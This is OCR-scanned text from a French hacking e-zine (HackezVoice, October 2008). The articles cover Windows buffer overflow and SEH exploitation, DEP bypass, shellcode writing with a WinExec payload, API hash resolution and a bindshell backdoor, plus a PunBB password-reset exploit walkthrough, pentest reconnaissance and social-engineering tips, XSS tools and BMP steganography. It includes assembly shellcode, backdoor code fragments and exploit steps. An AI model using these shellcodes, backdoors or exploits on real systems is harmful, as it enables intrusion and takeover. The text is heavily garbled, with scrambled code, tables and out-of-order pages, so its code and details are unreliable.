Posons un breakpoint 7C9137BD cet endroit le registre ECX contiendra un pointeur sur notre handler mais pour appeler cette handler il faut lui passer quatre arguments sur la pile ce qui sera pris en
28. N oublions pas qu un botnet a souvent un coup d avance en se mettant r guli re ment jour des failles des syst mes qu il exploite 13 G n ralement constitu d un ordina teur leurre volontairement faillible utilis pour analyser les m thodes et les actions d un intrus informatique 58 LA ST GANOGRAPHIE DE INTEGER BINARY NUMBERS ThierryCrettol L IMAGE BMP Format des images Microsoft en natif 1 Si vous ouvrez une image bmp avec le bloc notes vous obtiendrez un fichier texte dont le d but ressemblera aux deux exemples suivants Les 54 premiers caract res sont r serv s pour le cartouche de jj l image bmp on ne peut pas les gl beg ste a modifier encadr bleu Fons masaqa Le cartouche poss de les l ments Tec Al Se TC EI suivants dans l ordre 1 L ent te d un fichier Bitmap bmp Nous traduisons les caract res entour s en rouge en va La taille de l image leurs d cimales La position du d but des pixels En t te v rification Caract res ASCII Taille E T pau 000111 Largeur de l image Hauteur de l image Repr sentation D cimale valeur plan 49 49 49 49 49 49 47 41 tonara cle Pose pi q H7 53 53 53 49 49 49 4T Valeur de eere DUE TT sere 47 47 47 49 49 44 46 46 DENS CN e IRSE IS 46 46
29. POUR TERMINER Relisez vous plusieurs heures ou jours apr s la fin de votre r daction cela permet de relire votre texte avec un oeil neuf et des id es plus clair tout cela la r daction en elle m me la plume de l auteur comme on dit d pend beaucoup du talent de cha cun mais vous ne serez pas juger sur votre art de la plume mais bien sur votre maitrise du th me choisit HackezVoice 1 Octobre 2008 77 SYSDREAM IT Security Services XPERTS EN INTRUSIO A VOTRE SERVIC DES FORMATIONS CERTIFIANTES C HFI CissP DES AUDITS DE SECURITE SYSDREAM EST UN CABINET DE CONSEIL ET UN CENTRE DE FORMATION EN SECURITE INFORMATIQUE A WWW SYSDREAM COM
30. ProcessiebugOb ectHandle ProcessODebuagr lacs ProcessIoPrliorlity ProcessExecuteFlags lt 34 ProcessResourceManagement ProcesscCooxie Processlrageln ormnartion MaxzrocessinfocClass MaxProcessInfoclass should always be the last enum r k m a P Pile B Sai NF PT Ae Ey HackezVoice 1 Octobre 2008 37 HackezVoice 1 Octobre 2008 Notre but est d appeler cette fonction avec l Information Class qui vaut ProcessExecuteFlags En effet cette fonc tionnalit permet de contr ler l activation et la d sacti vation du DEP sur le processus On va donc concevoir un shellcode qui va d finir une pile avec des arguments qui vont servir au retour dans cette fonction de ntdll D abord d finissons la forme des arguments de ZwSe tInformationProcess GetCurrentProcess 31 est une fonction qui est simplement compos de deux instruc tions TCS0DDED gt 83 8 FF 7C80DDF8 C3 OR EAX FFFFFFFF RETN La fonction va tout simplement nous renvoy la valeur 1 ensuite nous avons le 34 me membre appel Pro cessExecuteFlags gt de l num ration PROCESSINFO CLASS Celui ci sera donc gal 34 soit 0x22 en hexa d cimal ensuite le 3 me argument est un pointeur sur une constante d finissant l autorisation de l ex cution des zones de m moires prot g es par la protection define MEM EXECUTE OPTION ENABLE 0 2 Il nous faudra donc un pointeur su
31. a un dialogue possible entre les deux processeurs via une zone m moire partag e Il est ainsi possible de transmettre des param tres utiles au code g rant un composant tournant sur l arm7 partir de l arm9 C est comme cela d ailleurs que le programme r cup re les donn es concernant l tat des touches et du stylet En ce qui concerne l environnement de d veloppement il est bas essentiellement sur gcc g et supporte donc le C et le C ainsi que les biblioth ques standard 45 HackezVoice 1 Octobre 2008 Nous pouvons donc utiliser sans probl me les design patterns du C vector singleton etc ce qui facilite la gestion d un projet Voyons le code d un Helloworld celui fourni avec la PALib inchude lt PA9 h gt PAlib imctude Si on compile cet exemple il affiche un lt Hello World int gt sur l cran du haut Pas difficile PALS de faire une Ina tite interface Rien PA Ins Bil de compliqu ce lj Text Init n est que du d PA Top screen veloppement de TE 17 Use background mumber 2 base D Write seme text _OutputS imple Text l1 Hello World E whila 1 9 Taifsnise loop WaiForV BLO return f CONFIGURATION DU COMPOSANT WIFI Voyons maintenant ce sacr composant WiFi et de quoi il est capable La documentation r dig e par Stephen Stair est vraiment compl te 5 mais il y a encore quel q
32. atoire au moment de la r initiali sation du mot de passe de l administrateur et ainsi pr dire celui ci Gr ce toutes ces donn es il est potentiellement pos sible pour un utilisateur mal intentionn de r initialiser le mot de passe de l administrateur et de retrouver le nouveau mot de passe ainsi que le lien pour l activer 53 HackezVoice 1 Octobre 2008 CODE SOURCE DE L EXPLOIT Le bout de code ci dessous permet d automatiser l ex ploitation de la faille pr cedemement cit e Il est apparu sur milwOrm cf r f rences le m me jour que la sor tie du bulletin de s curit soit seulement un jour apr s la sortie du correctif Il est certain donc que tr s peu de forums taient jour et ce m me aujourd hui Je l ai l g rement modifi pour le rendre compatible avec la version fran aise de PunBB ainsi que pour corriger quelques bugs laiss s volontairement par les auteurs je suppose et am liorer l affichage des resultats lien vers source article exploit php LA BIBLIOTH QUE CURL Cet article n ayant pas pour but de parler de la biblioth que cURL je ne pr senterais que les quelques fonctions essentielles utilis es dans l exploit dans le but d aider la compr hension g n rale Pour en savoir plus sur cette biblioth que se r ferer au site officiel et la documen tation de php CURL cf r f rences est une biblioth que qui permet de se connecter et de communiqu
33. avanc BindShell Bien qu il soit particuli rement int ressant d crire certain nombre de commandes arbitraire dans la m moire d un processus vuln rable il est ind niable que le simple fait d user d une fonction comme ShellExecute WinExec ou System n est gu re suffisant De ce fait le contr le est loin d tre total et la marge de manoeu vre tr s limit e A cet effet nous allons voir comment tendre nos possibilit s et coder un ShellCode complexe permettant d obtenir une accession plus cons quente Ainsi nous allons tablir un BindShell Or de quoi s agit il exactement Lorsqu il y a prise de contr le d un ordinateur notam ment par Buffer Overflow la majorit des ShellCodes exploite les commandes DOS via l application CMD afin d interagir sur la machine attaqu e Or bien que le Shell DOS soit particuli rement aust re il correspond sans doute la m thode la plus compl te afin d obtenir un contr le total de la cible On a pour habitude de nommer le principe par le terme BindShell puisqu il s agit d ta blir un lien entre un socket plus exactement son point de communication par la fonction Bind et un prompt du Shell DOS Pour r sumer il s agit litt ralement d une BackDoor sur le seul moment de l intrusion Note Afin de bien comprendre le principe du BindShell il faut d abord consid rer l article Coder une BackDoor en C qui d veloppe clairement la m thodologie ad quate afin d tabli
34. ce que nous pouvons avoir comme informations suppl mentaires LE SOCIAL ENGINEERING OU L ART DE TROMPER LES GENS Apr s avoir r cup rer assez d informations sur l entre prise et sur son personnel en particulier nous allons pouvoir tester notre aptitude tromper les gens La technique du social engineering demande beaucoup de pr paration aucun param tre ne doit tre laiss pour compte Il faut ainsi cr er son propre sc nario envisager le maxi mum de situations et toujours garder son sang froid Tout d abord nous allons prendre un premier contact avec la personne susceptible d tre faillible pour son en treprise Le but tant de la mettre en confiance pour qu elle nous divulgue le maximum d informations son propre insu Par exemple nous recevons de nos jours de plus en plus d appels t l phoniques pour des sondages ou pour connaitre le type de parpaing que nous avons utilis pour construire notre maison va tre d autant plus facile de s appuyer sur ce syst me pour soutirer des informations cruciales entreprises partenaires marque des serveurs ET POUR R SUMER Ce qui est important de toujours garder l esprit est le fait qu une entreprise n est pas totalement infaillible Il est toujours possible de trouver la petite br che que ce soit au niveau technique que niveau humain Lors d un pentest il est donc crucial de v rifier chaque entit susceptible d tre en contact avec l inform
35. charge par la fonction int gr e dans ntdll bien sur LIN BEALI POINTEUR SUR LA STRUCTURE I ME ESA EE i PEPEL FFEG Pointer to tert record BESCHE SE handle Op SFF EP HELII STE we 2 91378 RETURN to ntdll 7C21278B from 70913799 O1 ASCII BEBECCCC 5454545 DG ZZ d JAI ASCII 000 947560 RETURN to ntdlbl 76C94786B8 from ntdil 70913753 aia GANG ASCII BEBBECCCC Ce screenshot t pris avant l instruction CALL ECX c est dire qu une fois le CALL ECX xecut nous aurons la sauvegarde du registre EIP empil Notre but va donc tre de trouver une suite d instruc tion nous permettant de faire pointer le registre ESP en 0013FB98 se trouve un pointeur qui pointe sur le SEH suivant Si ESP pointe en 0013FB98 et que nous ex cutons une instruction RETN cela voudra dire que nous d pilerons la valeur sur le sommet de la pile dans le registre EIP autrement dit nous redirigerons notre programme en 0013FFBO 35 C est dire que le programme arriv en 0013FFB0 devra sauter sur notre shellcode et pour cela nous allons tout simplement y placer un jump court Cette instruction permet un saut plus ou moins 128 octets par rapport l endroit o on le pose cette ins truction est cod sur 2 octets c est pour cela que nous utiliserons
36. d cida alors de garder secret les d tails de cette vuln rabilit et de pr venir les principaux acteur du march Apple Microsoft Cisco Une quinzaine d experts venu des 4 coins de la Toile se r unirent alors pour corriger la dite faille et propos rent ainsi rapidement un correctif aux grandes entreprises du Net Tout cela aurait pu finir joyeusement si une certaine soci t de s curit nomm e Matasano en mal de pu blicit n avait pas d cid de r v ler par erreur au grand public tout les d tails de cette faille Cela offrir une magnifique opportunit au royaume des hackers de programmer et de diffuser rapidement un exploit pour la plus grande joie de tous les serveurs DNS encore non patch actuellement Lor HapoPr APR S LE CONTR LE PARENTAL LE CONTR LE GOUVERNEMENTAL Fini les films d nud s de leur prix et les musiques liberti nes sur la Toile la loi Hadopi a t vot La Haute Auto rit D di aux Opportunit s Pour les Industries pardon la Haute Autorit pour la Diffusion des Oeuvres et la Protection des droits sur Internet t lanc e Elle per mettra de faire baisser de 80 le piratage en France si si c est crit dans la brochure et ceci gr ce un proc d r volutionnaire La carotte et le b ton Pour faire simple cette loi r prime par graduation toute ligne Internet ayant t l charg e du contenue illicite et s engage motiver les industries faire plus
37. d effort pour nous proposer du Hbre l gal Construit partir du projet Oliviennes du nom de l impartial ma tre d oeuvre de ce projet savoir l ancien patron de la FNAC la loi Hadopi sanctionnera tout t l chargement illicite qu il soit volontaire vive BitTorrent ou non bah oui grand m re falait s curis ton wifi D abord cette loi pr voit d informer l int ress par un simple mail envoy son adresse de contact officielle celle de votre FAI Puis par un second mail 6 mois plus tard ventuellement accompagn d une lettre re command e et enfin la mise mort enfin la suspen sion de la ligne de l abonn de 3 mois 1 an p riode durant laquelle vous continuerez de payer votre abon nement sans pouvoir utiliser internet ni vous r inscrire ailleurs Bref ils ont pens tout sauf la carotte et aux connexions crypt es D FENSE LIVRE BLANC OTAN VERS LA CYBER GUERRE On s en souvient au printemps 2007 la Russie avait fait payer ch re l Estonie le retrait d un m mo rial de guerre russe datant de la p riode URSS En effet plusieurs cyber attaques de grandes envergures avaient totalement paralys es l activit conomique de l Esto nie La r ponse l attaque russe ne s est pas fait at tendre de l autre c t du rideau virtuel et peu de temps apr s l OTAN mit en place un centre de recherche de cyber d fense Tallinn capital Estonienne et d cida galement la cr at
38. d un OS un autre normal D ja avec l argument A pass dans nmap on peut voir que l OS t r cup r voir Illustration 6 Une autre commande permettant de r aliser cette t che est l option O Une autre mani re est de demander une page inexis tante sur le serveur dans le but que celui ci nous renvoi un message d erreur et l avec un peu de chance on pourra en savoir un peu plus sur lui Not Found Tha cost LIRL ne was mot eurnd Gri thes kapag Aa ev v DELI Renee ad wr api oen For eut Ici on peut voir que le serveur fait tourner Apache 2 2 8 a partir de l on peut essayer de rechercher des failles sur des sites www milwOrm com De plus il y a le tr s bon pOf qui lui fait du fingerprin ting passif C est dire qu il lira les paquets du r seau et partir de ceux l il en d duira l OS correspondant l IP du paquet Cette technique est donc totalement furtive l auditeur ne pourra pas tre d tect Pour cette tape j ai choisi nmap qui est bien connu on le retrouve m me dans Ma trix mais pas forcement le meilleur Ainsi la commande nmap sS A va scanner l h te x x x x avec la m thode SYN SCAN sS on n aura donc pas de log sur la machine distante L option A va per mettre de d tecter la version des services tournant sur les ports du serveur UNE PAR UNE CHAUDE SOIR E D T BALADE SUR LE SITE Apr s avoir exploit
39. e sp cifique sp cifique l application vuln rable puisqu il existe beaucoup mieux dans le domaine Effectivement en v rit nous n avons besoin que de deux fonctions maitresses afin de constituer des ShellCodes efficaces Ces deux fonctions sont GetProcAddress et LoadLibraryA La MSDN exprime c est deux fonctions de la facon suivante T vn vm w FE TE spe i Si nous disposons des adresses concernant ces deux fonctions nous avons la possibilit appr ciable de solliciter toutes les librairies et autres fonctions de notre choix m me si elles ne sont pas incluses dans le projet original Voici un code sous Masm32v8 qui montre comment s op re le m canisme afin d appeler une fonction trang re dans un librairie exclue l origine Si vous avez suivi jusque l vous savez sans doute o se situe le second probl me li cette m thode de d veloppement nomm e statique La difficult c est que nous ne disposons pas des include masm32includetkemel32 ins adresses des deux fonctions GetProcAddress et includelib wmwasm32 uibikernel32 lib LoadLibraryA Ainsi nous sommes encore une fois tributaire de la versions de Windows notamment Il est vrai que la limite expliqu e auparavant Shell DATA Code sp cifique est consid rablement r duite seu lement deux adresses mais le probl me reste p
40. injectant plus d octet que la pile pouvant en contenir et de r crire les pointeurs correctement vous comprendrez tous cela un peu plus bas Cependant je tiens pr ciser que dans un cas r el nous avons tou jours un moyen de lever une exception par exemple les instructions comme MOV DWORD PTR EBP 4 ECX vont alors lever des exceptions tant donn que nous allons r crire la sauvegarde de EBP En tout cas votre exploitation ne peut tre r alis e sans les deux conditions voqu es un peu plus haut Mainte nant que vous tes sensibilis s la vuln rabilit nous allons pouvoir commencer l attaque de notre binaire Votre premi re t che est de prendre vos marques c est a dire qu il faut que vous trouviez le nombre d octet envoyer au programme afin de r crire les pointeurs 1 16516161 6 161611 61616161 1 asas 651616161 215165161 6 151515 1 616516161 EIEISIE1 5393 l l l l asas amp l amp l amp l amp l ass55 61516161 NGOS POINTEURS DIEN MIT EIE 61616161 SI616161 asas l l l l asas Sl l l l HackezVoice 1 Octobre 2008 Pour ma part il me faut donc envoyer 88 octets pour arriver au niveau des pointeurs
41. notre programme au processus cmd exe de fa on que notre programme puisse crire dans le pipe InputWrite et que la console windows r ceptionne DWORD WINAP ReadThread LPA OID lpParameter ces donn es ce qui constitue sa nouvelle entr e standard 1 InputRead De cette fa on on aura un contr le totale char buffer 4006 sur les I O de notre console DWORD dwRead On appel ensuite le processus cmd exe correspondant while 1 la console auquel on transmettra les donn es travers nos pipes Enfin on cr e deux threads pour nos fonctions deht kg buffer 2207 buffer 1 amp dwEead 11 ReadThread et WriteThread dwR ead 0 ppm Voici le code de ces deux fonctions que l on pourra im pl menter dans le m me fichier que main dans un ECC HS header s par au choix La deuxi me possibilit tant plus propre et plus modulaire HackezVoice 1 Octobre 2008 21 La fonction WriteThread attend la commande de l utilisateur via la fonction fgets qui la stocke dans la variable buffer Cette commande est redirig e vers la console cmd exe travers notre pipe De cette fa on c est comme si nous crivions directement dans la console La fonction ReadThread permet de rediriger la sortie de la console vers notre programme afin que nous puissions lire les r sultats Ici nous devons donc rediriger deux flux le flux
42. registre plus petit AX On l utilise donc pour y glisser nos deux derni res let G tres puis nous posons sur la pile la valeur du registre start eax AX tant un composant de eax nous allons poser sur la pile nos deux lettres suivit de deux null bytes la xor ebx ehx fin de notre chaine est donc assur e et tout cela sans ash eh utiliser d instruction asm au opcode null push 6578652 push 636c6163h Une fois la chaine pos e sur la pile nous devons r cu push 5c32336dh p rer un pointeur sur celle ci le registre ESP pointe E ce moment l sur le d but de notre chaine nous posons push 65747379h donc sa valeur sur la pile afin d appeler la fonction push 735c5357h push 4f444e49h Ensuite nous utilisons le registre edi pour y copier push amp 75 3 43 l adresse de notre adresse que nous appelons avec l instruction call edi Puis nous ces op mov edi 7C86136Dh Adresse de WinExec rations afin d appeler la fonction MessageBoxA 16 et ExitProcess 17 esp push 5 define SW_SHOW 5 Maintenant que nous avons notre code asm nous le push compilons et nous allons r cup rer les opcodes gr ce OllyDbg call edi En effet nous ouvrons notre ex cutable et nous r cup rons les valeurs hexad cimales des instructions nous nous retrouvons avec un shellcode de 59 octets plut t mov edi 7 CSI CDDAR Adresse de ExitProcess pas mal pour notre premier shellcode
43. une distribution Linux tout quip e pour les audits de s curit C est ce que pro pose ici BackTrack Bas sur Slackware Linux cette distribution est int gr e avec de nombreux outils libres qui permettent le scan le sniff le spoff le bruteforce le reversing et autres joyeu set s de corsaire En version 3 0 elle utilise KDE et permet une installation en mode graphique Elle est donc tr s facilement utili sable par tous back track 74 UNIX GARDEN http www unixgarden com Voici un site riche en articles Appartenant aux Edition Diamonds propri taire entre autre de Linux mag et MISC on y trouve de tr s nombreux articles de qualit anciennement publi s dans ses magazines Sous licence cretative common vous trouverez des dizaines d articles orient s d butant et unix et d autre encore d un plus haute niveau dans la s curit et de ses applications Bref Un site mettre entre toutes les mains HackezVoice 1 Octobre 2008 OPENCOURSE WARE http ocw mit edu OcwWeb web home home index htm Internet fourmille de connaissance d couvrir et par tager Certaines initiatives sont meilleurs que d autre mais dans le partage du savoir l initiative du MIT est tout fait int ressante Le MIT est l une des plus prestigieuse universit am ricaine et largement reconnu dans le monde des tech nologies En 2002 dans le but de r duire les carts de connaissance dans le m
44. 1 printf 0x 4 08x n hash return next mov ebx ebp 0xc Transforme l index en adresse relative imul ebx 0x4 Table RVA des adresses index i 4 mov ebp Oxc ebx Sauvegarde sur ln pile mov ebx ebp 0x10 Transforme l index en adresse relative imul ebx 0x4 Table RVA des adresses index i 4 mov ebp 0x 10 ebx Sauvegarde sur la pile mov ebx ebp 0x3 ebr Oxic mov ebx ebx add ebx ebp 0x4 Adresse de Base mov ecx ebx mov ebp Oxc Adresse de GetProcAddress ecx ebx add ecx ebp 0x 10 mov ecx ecx add ecx ebp 0x4 Adresse de Base mov ebp 0x10 ecx Addresse de LoadLibrary A 6 jmp end shell Voici le code quivalent sensiblement identique au mod le LSD sous de nombreux aspects notamment dans l obten tion de notre adresse propre la table RVA Comme d habi tude nous commentons largement la source afin de cerner le principe Note La routine LGetProcAddress fonctionne ainsi push Base de la librairie charger push Hash du nom de la fonction Call LGetProcAddress Call Eax Handle de la fonction trouv e Lien vers code etude bofi asm Au terme de ce code voici les registres qui composent l en semble de nos adresses n cessaires au bon d veloppement de ShellCodes portables sur station Win32 Ebx contient la base de notre librairie KERNEL32 dll Esi contient le Handle de la rou
45. 46 46 46 etc R solution horizontale R solution verticale Etape2 Nombre de couleurs contenues dans 1 palette Nombre de couleurs contenues dans l image Nous transformons tous les bytes de la photo en nombre paire et le r sultat est Le reste de l image caract re de la position 55 jusqu 48 48 48 48 48 48 46 46 la fin du fichier texte est compos de caract res qui 46 52 52 52 48 48 48 46 repr sentent chacun un caract re ASCII consulter la 46 46 46 48 48 44 46 46 table ASCII en annexe Un caract re ASCII est la re 46 46 46 46 46 etc pr sentation d une valeur allant de 0 255 8 bits gt un byte Etape3 ex Le caract re i majuscule est la repr sentation du nom Nous voulons cacher le message abc Nous cherchons bre d cimal 73 qui devient 01001001 en nombre binaire les valeurs ASCII de abc a 97 d cimal 01100001 binaire Une image Bmp 24 bits g n re la couleur d un pixel avec b 98 d cimal 01100010 binaire 3 bytes Le fameux RGB 1 byte Rouge 1 byte Vert 1 ro 99 d cimal OLIQUDII byte Bleu Etape 4 Nous cachons le message abc dans les bytes de la photo LA ST GANOGRAPHIE DANS DES BITMAPS a 01100001 48 48 48 48 48 48 46 46 48 49 49 48 48 48 46 47 b 01100010 gt 46 52 52 52 48 48 48 46 46 53 53 52 48 48 49 46 c 01100011 gt 46 46 46 48 48 44 46 46 gt 46
46. B rub w mm T 5 amp 7 DI NI wes Dr Hg MAS AID me EX 21 AT X4 SR A n 196 ME NO at d Zb JU ai m ai wr um Sr H D 4 uo Uu WW NR ES SE m s 24 4 5 WS oi wW 16 Si AE Z SN Mr UN 1e j Si ol Af Ge He SD Bin T5 W W WE Wi mt NA D a Qo RP Tur 19 UD XD 8 Hu Se 105 Gb M LH B Q ER Wa dv TC D 248 M Te ms LES Dj Wn WA si UF y 2 MB MT WO Cr mb fe mus mn mu DM j Su 6c EU dig 13 18 1 ei m A J Si HD EV Er WE 1 UT 200 De Mis GE EN ti w 199 Tr el 230 mg EL X HF Ri DI TE BEA OMO mi D 774 Se ot BT Tk DS W mi or mx He Mi HackezVoice 1 Octobre 2008 60 La BANDE BIS lot Record i 4 ET ml de pn 21 w LILELILZLLIBZE K E ss Ce e vin lt Future Exposed va vous mont e des oc ans Le Monde plus qu un vaste ensemble propre r gime politique Nous nous int resserons ici celui qui porte le nom d H caton Ene F anciennement New York ville titanesque divis e en deux R B niveaux que tout s pare Di rig d une main de fer par l Ordre e Niveau sup rieur d H caton est un espace s curitaire et l
47. Buffer Overflow Or en y regardant de plus pr s on remarque que ce chaos est finalement constructif dans une certaine me sure Effectivement dans notre d calage des donn es nous avons modifier un registre important le registre EIP Or qu est ce que le registre EIP Le registre EIP est le registre figure l adresse de l instruction suivante Lorsqu une fonction quelconque est sollicit e le syst me sauvegarde une adresse dans le registre EIP afin de reprendre le flux normal des com mandes apr s ex cution de la fonction Nous pouvons donc contr ler et d finir l adresse o poursuivre apr s d bordement Ainsi le contr le du re gistre EIP est la base de l exploitation d un d borde ment de tampon Un sch ma rudimentaire s impose peut tre pour expli quer l incident HackezVoice 1 Octobre 2008 8 cx c C C E B LP Desc 2 mastam etiem ISELP Test 3 laaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaa aaaa Gagn Reste savoir nous devrions faire pointer la valeur de notre registre EIP Certes il peut figurer dans le code de l application quelques fonctions ou threads in t ressants Peut tre pourrait on passer outre une pro c dure d authentification mais l n est pas l int r t de la chose tudi e Effectivement le but v ritable est de faire ex cuter un code suppl me
48. ET du tableau des adresses de fonctions 4 octets L algorithme final peut se r sumer grosso modo par adresse Table RVA des adresses index i 4 i correspond la variable contenue en ebp 0x14 On multiplie cet index par 4 car les adresses sont notifi es en DWORD cf code droite B Le mod le UNDERSEC Ce code finalis rend maintenant les adresses des fonctions GetProcAddress et LoadLibraryA respectivement sur la pile au niveau ebp Oxc et ebp 0x10 A pr sent le reste du ShellCode se d veloppe comme le mod le statique Or bien que le concept tudi jusqu pr sent soit port sur un esprit p dagogique remarquable ce ShellCode est d pass depuis quelques temps puisque le groupe UNDERSEC l a consid rable ment optimis notamment gr ce une routine de Hash des noms API et librairies La fonction propre au Hash des noms de fonctions se pr sente ainsi un genre plut t puisque l ensemble n est pas aussi simple amp include stdlib he lt stdio h gt void main int arge char argv if lt 2 gt 2 printf Hash de noms de fonctions Stormy printf Usage ThisAppz nom de fonction n return int bash NULL unsigned char proc unsigned char kargv 1 do hash int hash rot hash 13 rotr hash 32 13 while proc WI printf Hash du nom s argv
49. Ses principaux objectifs sont d tre plus rapide plus l ger et graphi quement moins intense compar d autres logiciels de forum PunBB a moins de fonctionnalit s que beaucoup d autres forums de discussion mais il est g n ralement plus rapide et g n re des pages plus l g res Aussi le code g n r par PunBB est conforme aux normes XHTML 1 0 Strict et CSS2 du W3C Cependant le 19 F vrier 2008 le site officiel de PunBB sortait la version 1 2 17 patch e de son logiciel apr s la d couverte d une faille de s curit importante relay e d s le lendemain sur le site web www sektioneins de cf r f rences Cet article a pour but d analyser un exploit paru quel ques jours apr s le bulletin de s curit relatant la faille permettant de prendre le contr le total d un forum vul n rable CONTEXTE ET CONCEPT D apr s le bulletin de s curit la faille concerne le sys t me de r initialisation des mots de passe perdus des utilisateurs Un utilisateur ayant perdu son mot de passe lui permettant de se connecter et de poster des messa ges sur le forum peut le r initialiser Un nouveau mot de passe al atoire est automatiquement g n r ainsi qu un lien pour l activer et le tout est envoy l adresse mail de l utilisateur Le probl me se situe pr cisement au niveau du g n rateur du nouveau mot de passe Pour faire simple PunBB initialise son g n rateur l aide de l horloge actuelle en micro s cond
50. Sheet et le X repr sente la croix cross anglais faut savoir que le protocole HTTP ne propose aucune fonctionnalit afin de m moriser des param tres pen dant le passage d une page une autre Pour cela il existe plusieurs possibilit s GET POST et COOKIE Avec l mergence de langage de scripting permettant de g n rer des pages web dynamiquement il y a encore BEAUCOUP de sites web sensibles ce type de failles Voici quelques sites qui vous aiderons comprendre et manipuler un peu les failles XSS http www dicodunet com actualites creation web 87708 anatomie d une vulnerabilite xss htm http venom630 site voila fr tutoriaux hacking faille xss html GREASEMONKEY et XSS assistant Le premier plug in int ressant est greasemonkey mais lui seul n a rien d utile pour nous il faut lui adjoindre un script XSS assistant Commengons par installer greasemonkey rien de plus simple il suffit d aller dans les modules compl mentai res Une fois cela fait il faut aller chercher le script sur le web http www whiteacid org greasemonkey en cliquant vous obtiendrez une page de script que vous copierez et installerez en cliquant sur la t te de singe en bas droite de votre navigateur puis sur nouveau script Il ne vous reste plus qu le coller et relancer firefox HackezVoice 1 Octobre 2008 Vous verrez apparaitre un petit symbole qui vous indiquera ou une possibilit de test est pos
51. V Archive ArticleHZzV Par verclOk rar 8S Stropy http www linux kheops com doc man manfr man html 0 9 man3 SUtrcpy 2 html 9 Buffer Overtlow http en wikipedia org wiki Buffer overflow 10 MilwOrm win32 shellcode http milwO0rm com shellcode win32 11 Ntdll ou la librairie cach e de windoz http OverclOk blogspot com 2007 12 1lapi native ou le se cret de windoz html 12 Shellcodes polymorphiques http ghostsinthestack org article 9 shellcodes polymorphi ques html 13 Intrusion Detection System http fr wikipedia org wiki NIDS 14 GetProcAddress http msdn2 microsoft com en us library ms683212 aspx 15 LoadLibrary http msdn2 microsoft com en us library ms684175 VS 85 aspx 16 MessageBox http msdn2 microsoft com en us library ms645505 aspx 17 ExitProcess http msdn2 microsoft com en us library ms682658 aspx 18 WinExec http msdnZ microsoft com en us library ms687393 aspx 19 Metasploit Win32 payloads http metasploit com 55555 PAYLOADS FILTER win32 20 Windows Shellcode Development Kit http www metasploit com data shellcode win32msf20payloads tar gz 21 Generic Anti Exploitation Technology for Windows http research eeye com html papers download Generic 20 Anti 20Exploitation 20Technology 20for 20Windows pdf 22 Prot gez votre code gr ce aux d fenses Visual http msdn2Z microsoft com tfr fr
52. a ne de caract re mov ebx add ebx ebp Ox4 Adresse de Base dword ptr ebx PeG 1 DWORD GetP jne return dword ptr ebx x4 Acor 2 DWORD rocA return mov ecx ebp 0x14 Fonction trouv e mov ebp Oxc ecx Sauvegarde de l index ecx ecx XORisation de Ecx test ebp 0x 10 ecx V rifie si nous avons LoadLibrary jne next On va la prochaine phase TEL check loadlib addr Recherche de LoadLibraryA cmp ebp Ox10 ecx On v rifie si on a pas encore trouv jne return mov ebx ebp 0x18 Adresse de notre cha ne de caract re mov ebx ebx add ebx ebp Ox4 Adresse de Base emp dword ptr ebx daoL 1 DWORD Load jne return cmp dword ptr ebx x4 rbiL 2 DWORD Libr jne return mov ecx ebp 0x 14 Fonction trouv e mov ebp 0x10 ecx Sauvegarde de l index ecx ecx XORisation de Ecx cmp ebp Oxc ecx V rifie si nous avons GetprocAddress call check loadlib addr Recherche Losdi ibrary add word ptr ebp 0x18 0x4 Incr mentation des noms de fonction add word ptr ebp 0x 14 0x 1 Incr mentation du compteur Index jmp search fet On boucle HackezVoice 1 Octobre 2008 Maintenant nous avons un index comparable l ordinal de chacune des deux fonctions C est gr ce celui ci que nous pourrons d terminer l adresse des fonctions partir de l OFFS
53. a Nintendo DS est assez puissante c t WiFi toutefois il subsiste encore un b mol nous ne sommes pas en mesure pour le moment de capturer des paquets 802 11 crypt s ce qui ralentit fortement le d veloppement des applications utilisant le WiFi N anmoins la commu naut des d veloppeurs NDS tout comme Mr Stephen Stair continue de fouiller pour aller dans ce sens Il existe aussi un troll courant entre Ninterndo DS et PSP savoir laquelle de ces consoles est la plus apte tre adapt e en toolbox WiFi mais ca c est une autre histoire Lien vers article_wifi_nDS sources HackezVoice 1 Octobre 2008 DeSmuME 5 I ll 7 1740 LA l gi ees yi mk H On Fake Bet l g 1l e 48 ATTAQUE D UN SERVEUR 2 PRISE D attaque d un serveur l aveuglette toute ses chances de rater La prise d empreinte ou pentest pour les intimes permet au pirate de mieux connaitre sa victime et ainsi de pr parer au mieux son attaque en se renseignant sur les failles potentielles du serveur par exemple Pour cela une poign e d outils un peu d imagination et Internet feront l affaire LES BASES Tout d abord un petit rappel sur les IPs Nos ordinateurs utilisent Internet Protocole d o IP pour communiquer entre eux Pour cela une adresse IP leur est attribu e et ce
54. ace avec le code suivant par exemple eye DD F TATEMNET ACC EP D n m u u T 1 LIOCOGZZDaZslL L b ma ha m Hie lor ProcessQuotaLimits ProcezzrzloZCoun terz ke e A F FrOCBEE 21 CET maim Bes SR BR E ER a rPprOoCBZEHMRIHBPT I1DELiT Chr ru px za zu ver Der roOCeazeDugz Wel um mu Ven fe gt T EIOCOBSLEECOCDLIIOIEOTILT4s ProcessAccessioken asi mk h T gm um cenam rs K amp ms ES kalla Na Qk ha oam Se e h b bay ProcessLdtb5ize TA 4 t 4 s ProcessloPortEHaradiers j Neger his8 xernel mode only Th s gu EI an ss H BR 1 peT de qa E LLCS or RFO LE CECILE Sm JO AT LE 12 K ProcessWorxkingSetWatch 15 TL e LE we T T T ra gn pz rz gz we N pj FE gs ke m La EE IrOonesskEnabileAi1dqgnmentFAaulTF1ixup zw Lass ProcessNxB 6Information rocessHandleCount 20 ProcessAtftinirtyMask PrOCcespP rTlorityBoos85t P eh 5i BI ut CAN i ProcessSesslontTrn ormastion ProcessForegroundInforrartion 25 ProcessWow64 Inftormarion ProcesslrageFileName ProcessLUlDDeviceMapsEnabled ProcezsBremk nlerminatlion
